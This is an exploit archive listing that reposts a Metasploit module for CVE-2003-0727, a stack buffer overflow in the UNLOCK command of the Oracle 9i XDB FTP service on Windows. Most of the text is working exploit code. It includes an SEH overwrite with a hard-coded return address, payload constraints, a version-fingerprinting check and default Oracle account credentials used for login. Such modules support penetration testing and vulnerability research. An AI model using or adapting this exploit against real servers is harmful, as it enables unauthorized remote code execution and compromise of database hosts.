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Oracle 9i XDB FTP UNLOCK Overflow (win32)

Oracle 9i XDB FTP UNLOCK Overflow (win32)
Posted Nov 26, 2009
Authored by David Litchfield, MC | Site metasploit.com

By passing an overly long token to the UNLOCK command, a stack based buffer overflow occurs.

tags | exploit, overflow
advisories | CVE-2003-0727
MD5 | 7d14265dbae5952c543d354d372ba779

Oracle 9i XDB FTP UNLOCK Overflow (win32)

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle 9i XDB FTP UNLOCK Overflow (win32)',
'Description' => %q{
By passing an overly long token to the UNLOCK command, a
stack based buffer overflow occurs. David Litchfield, has
illustrated multiple vulnerabilities in the Oracle 9i XML
Database (XDB), during a seminar on "Variations in exploit
methods between Linux and Windows" presented at the Blackhat
conference. Oracle9i includes a number of default accounts,
including dbsnmp:dbsmp, scott:tiger, system:manager, and
sys:change_on_install.

},
'Author' => [ 'MC', 'David Litchfield <david@ngssoftware.com>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2003-0727'],
[ 'OSVDB', '2449'],
[ 'BID', '8375'],
[ 'URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],

],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,

},
'Targets' =>
[
[
'Oracle 9.2.0.1 Universal',
{
'Platform' => 'win',
'Ret' => 0x60616d46, # oraclient9.dll (pop/pop/ret)
},
],
],
'DisclosureDate' => 'Aug 18 2003',
'DefaultTarget' => 0))

register_options( [
Opt::RPORT(2100),
OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'DBSNMP']),
OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'DBSNMP']),
], self.class )
end

def check
connect
disconnect
if (banner =~ /9\.2\.0\.1\.0/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit
connect_login

print_status("Trying target #{target.name}...")

buf = rand_text_english(1130, payload_badchars)
seh = generate_seh_payload(target.ret)
buf[322, seh.length] = seh

send_cmd( ['UNLOCK', '/', buf] , false )

handler
disconnect
end

end

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